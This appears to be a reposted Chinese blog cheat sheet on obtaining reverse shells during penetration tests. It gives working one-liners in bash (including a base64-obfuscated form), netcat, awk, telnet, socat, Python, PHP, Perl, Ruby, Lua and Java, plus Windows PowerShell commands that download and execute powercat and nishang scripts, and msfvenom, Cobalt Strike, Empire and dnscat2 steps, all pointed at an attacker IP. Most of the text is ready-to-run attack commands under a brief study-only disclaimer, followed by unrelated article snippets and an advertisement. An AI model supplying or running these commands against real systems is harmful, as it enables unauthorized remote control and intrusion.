反弹shell的各种姿势

摘要:
在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。javacRevs.javajavaRevsWindows反弹shell姿势一:nc反弹netcat下载:https://eternallybored.org/misc/netcat/服务端反弹:nc192.168.99.2421234-ec:windowssystem32cmd.exe姿势二:powershell反弹powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。本文所有姿势整理自网络,并基于同一个假设的前提下完成测试和验证。(假设:攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。)


Linux 反弹shell

姿势一:bash反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;doneexec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

姿势二:nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三:awk反弹

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

姿势四:telnet反弹

备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五:socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六:Python反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

姿势七:PHP反弹

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

姿势八:Perl反弹

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

姿势九:Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

姿势十:Lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

姿势十一:JAVA反弹

public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception {// TODO Auto-generated method stubRuntime r = Runtime.getRuntime();String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};Process p = r.exec(cmd);p.waitFor();}}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java java Revs

Windows反弹shell

姿势一:nc反弹

netcat 下载:https://eternallybored.org/misc/netcat/服务端反弹:nc 192.168.99.242 1234 -e c:windowssystem32cmd.exe

姿势二:powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:WWW> Import-Module ./powercat.ps1PS C:WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三:MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四:Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。3、目标机执行powershell payload

姿势五:Empire反弹shell

usestager windows/launcher_vbsinfoset Listener testexecute

姿势六:nishang反弹shell

Reverse TCP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿势七:Dnscat反弹shell

github项目地址:

https://github.com/iagox86/dnscat2

服务端:

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 

目标主机:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubuser

原文地址:http://suo.im/6ifsfa

免责声明:文章转载自《反弹shell的各种姿势》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇转:Jmeter对Json格式数据的三种处理方式laraver ajax分页下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

python-gevent模块实现socket大并发

服务器端:gevent_server.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import sys import socket import time import gev...

Shell脚本之sed详解

在编写shell脚本的过程中,我们经常需要使用sed流编辑器和awk对文本文件进行处理。 一、什么是sed?     sed 是一种在线编辑器,它一次处理一行内容。sed是非交互式的编辑器。它不会修改文件,除非使用shell重定向来保存结果。默认情况下,所有的输出行都被打印到屏幕上。   二、sed的处理过程     sed编辑器逐行处理文件(或输入...

shell 脚本 常用命令

Shell 脚本常用命令  Shell脚本是Linux开发工作中常用的工具,但是我一直没有找到一个适合自己的简明扼要的HandBook。在工作过程中整理了一下,贴在这里已备查看。 1           Shell中的特殊符号 1.1           $  美元符号。用来表示变量的值。如变量NAME的值为Mike,则使用$NAME就可以得到“Mike...

IOS网络编程之Socket详解

Socket描述了一个IP、端口对。它简化了程序员的操作,知道对方的IP以及PORT就可以给对方发送消息,再由服务器端来处理发送的这些消息。所以,Socket一定包含了通信的双发,即客户端(Client)与服务端(server)。1)服务端利用Socket监听端口;2)客户端发起连接;3)服务端返回信息,建立连接,开始通信;4)客户端,服务端断开连接。 1...

Shell命令

复制别人的,并没有全部用过 (一)文件创建命令 1.touch命令 例如:touch abc命令在本地目录中创建了一个名为abc的空文件 2.cp命令 cp命令允许我们把一个文件的内容复制到同名或不同名的文件中,复制得到的文件可以在任何目录。使用cp命令的一个风险是它会在不提示用户的情况下很容易覆盖掉不同目录中的文件 -r选项支持递归复制。例如:cp -a...

Shell脚本编程(一)

shell 脚本编程(一) 1 . shell 的作用 Shell的作用是解释执行用户的命令,用户输入一条命令,Shell就解释执行一条,这种方式称为交互式(Interactive),Shell还有一种执行命令的方式称为批处理(Batch),用户事先写一个Shell脚本(Script),其中有很多条命令,让Shell一次把这些命令执行完,而不必一条一条地...